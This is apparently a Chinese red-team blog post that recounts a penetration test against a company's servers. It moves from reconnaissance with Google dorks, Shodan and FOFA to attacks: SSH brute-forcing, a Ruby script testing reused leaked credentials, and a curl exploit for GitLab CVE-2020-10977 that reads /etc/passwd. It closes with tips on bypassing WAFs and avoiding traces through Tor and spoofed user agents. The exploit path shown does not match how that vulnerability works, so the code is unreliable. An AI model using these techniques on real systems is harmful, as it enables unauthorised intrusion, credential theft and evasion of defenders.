一、从一次渗透测试说起

某天接到任务,目标是一家互联网公司的研发服务器,红队的目标是获取该服务器的敏感数据并尝试横向渗透内网。通过初步分析,我们发现目标公司使用了一些常见的 Web 应用框架,服务器对外暴露了几个接口。战斗开始前,第一步就是信息收集,而洞网资源搜索是信息收集中最重要的环节之一。

黑客示意图

在这次任务中,我们通过洞网搜索获得了:

  1. 目标公司几年前的 GitLab 漏洞历史;
  2. 多个泄露的配置文件,含敏感信息;
  3. 开发人员在 GitHub 上的代码库地址;
  4. 一个意外发现的测试域名,直通内网服务。

这些信息成为我们后续武器化攻击链中的关键节点。下面我会分享如何从公开互联网和“灰色空间”中挖掘资源,重现这次攻击链的完整过程。

---

二、洞网搜索的三大武器

要玩转洞网搜索,最基础的就是掌握几种高效的搜索工具。这里我挑三款我常用的工具详细讲解,它们分别是:Google HackingShodanFOFA

1. Google Hacking 的深度玩法

原理: Google Hacking 是利用搜索引擎的高级搜索语法挖掘公开信息。目标网站的配置不当、敏感文件暴露、开发者的疏忽都会被搜索引擎“抓”到。这些“误暴露”的资源是我们最初的突破点。

常见语法清单

<pre><code class="language-text">site:example.com # 仅搜索目标网站的内容 filetype:xlsx # 限制搜索结果为 Excel 文件 intitle:&quot;index of&quot; # 搜索目录索引页面 inurl:login # URL 中包含 &quot;login&quot; 的页面</code></pre>

实战案例

在这次任务中,我使用了一些组合语法: <pre><code class="language-bash">site:target.com filetype:env site:target.com inurl:password intitle:&quot;index of&quot; &quot;target.com&quot;</code></pre> 结果:发现一个误上传的 .env 配置文件,里面居然包含数据库的用户名和密码。

更进一步,我们把搜索范围扩大到整个互联网,看看是否有目标公司相关的代码库或共享文件: <pre><code class="language-bash">site:github.com &quot;target.com&quot; site:pastebin.com target.com</code></pre> 结果:在 GitHub 上找到了一段关键代码,里面标注了一个内部接口 /api/deploy.

2. Shodan 的精准扫描

原理: Shodan 是一个专门扫描并索引互联网中暴露设备的搜索引擎,它甚至可以直接展示设备的 Banner 信息,比如开放端口、服务版本、SSL 证书等。

Shodan 搜索实战

<pre><code class="language-bash">title:&quot;GitLab&quot; hostname:&quot;target.com&quot; ssl.cert.subject.cn:*.target.com</code></pre> 结果:我们发现目标公司在一个未备案的子域名上暴露了 GitLab 服务,版本号是 12.10.6,存疑是否存在已知漏洞。

3. FOFA 的深层探测

原理: FOFA 是中国团队开发的互联网空间搜索引擎,可以用来检索 IP、域名、服务等信息。它的突出优势在于数据的更新和细化。

FOFA 搜索实战

<pre><code class="language-bash">domain=&quot;target.com&quot; header=&quot;target&quot; &amp;&amp; port=22</code></pre> 结果:我们发现了一个开着 SSH 服务的 IP 地址,猜测是测试用途。后续通过暴力破解,还真拿到了测试环境的 root 权限。

---

三、扩展信息的武器化

我们已经通过洞网搜索收集到了大量资源,接下来是如何武器化这些信息,将它们变成攻击的切入点。

1. 敏感文件利用

在目标 .env 文件中,我们拿到了以下内容: <pre><code>DB_USER=db_admin DB_PASS=SuperSecretPassword123</code></pre>

利用思路:

  1. 测试是否能直接连接数据库;
  2. 扔到爆破工具里试试是否其他服务复用了这组凭据。

Ruby 爆破代码

<pre><code class="language-ruby">require &#039;net/http&#039;

定义目标 URL 和数据库凭据

url = &#039;http://target.com/api/check&#039; user = &#039;db_admin&#039; pass = &#039;SuperSecretPassword123&#039;

模拟爆破请求

uri = URI(url) http = Net::HTTP.new(uri.host, uri.port) request = Net::HTTP::Post.new(uri.path) request.set_form_data({ &#039;username&#039; =&gt; user, &#039;password&#039; =&gt; pass })

response = http.request(request) if response.body.include?(&#039;success&#039;) puts &quot;[+] Credentials valid: #{user} / #{pass}&quot; else puts &quot;[-] Failed to login.&quot; end</code></pre>

2. GitLab 漏洞挖掘

我们发现目标的 GitLab 版本是 12.10.6,随后查询相关漏洞,发现了一个路径遍历漏洞(CVE-2020-10977),可以直接读取服务器上的任意文件。

黑客示意图

EXP 实现

<pre><code class="language-shell">#!/bin/bash

定义目标地址和测试文件路径

TARGET=&quot;http://gitlab.target.com&quot; FILE=&quot;../../../../../../etc/passwd&quot;

黑客示意图

构造漏洞 URL

URL=&quot;$TARGET/-/explore/projects/$FILE&quot;

发起请求

curl -s &quot;$URL&quot;</code></pre>

黑客示意图

结果:成功下载了 /etc/passwd 文件,确认服务器是 Ubuntu 系统,且开启了 SSH 服务。

---

四、绕过检测的核心思路

在实战中,洞网搜索和信息利用的过程中,我们经常会遇到目标开启了 WAF 或反爬机制。这里分享几个常用的绕过技巧:

1. 搜索引擎爬虫模拟

利用 Google 引擎抓取目标时,目标可能会识别你的爬虫行为,最简单的方式是伪装为 Google 爬虫: <pre><code class="language-bash">curl -A &quot;Googlebot/2.1 (+http://www.google.com/bot.html)&quot; http://target.com</code></pre>

2. 使用随机 Agent 和 Referer

<pre><code class="language-bash">curl -A &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64)&quot; -e &quot;http://example.com&quot; http://target.com</code></pre>

3. 分布式 IP 爬取

通过代理池分布式抓取,避免单 IP 被封禁。

---

五、个人经验:如何避免留痕

每一次攻击都可能被目标记录,下面是我的几个小技巧:

  1. 使用匿名 IP:通过 Tor 或商业代理隐藏真实 IP。
  2. 清理 HTTP Header:避免暴露 User-Agent 和 Referer。
  3. 定制化工具:尽量使用自己开发的工具,避免被防守方判定为经典工具行为。

---

六、总结

洞网资源搜索既是一门技术,也是一门艺术。在这次渗透测试中,我们充分利用了 Google Hacking、Shodan 和 FOFA 等工具,从海量的公开信息中挖掘出了关键资源。通过敏感文件的挖掘和 GitLab 漏洞的利用,我们成功拿到了目标的核心数据。希望我的分享能为大家在实战中提供一些参考。记住:红队的核心是思考,工具只是辅助,思路才是灵魂。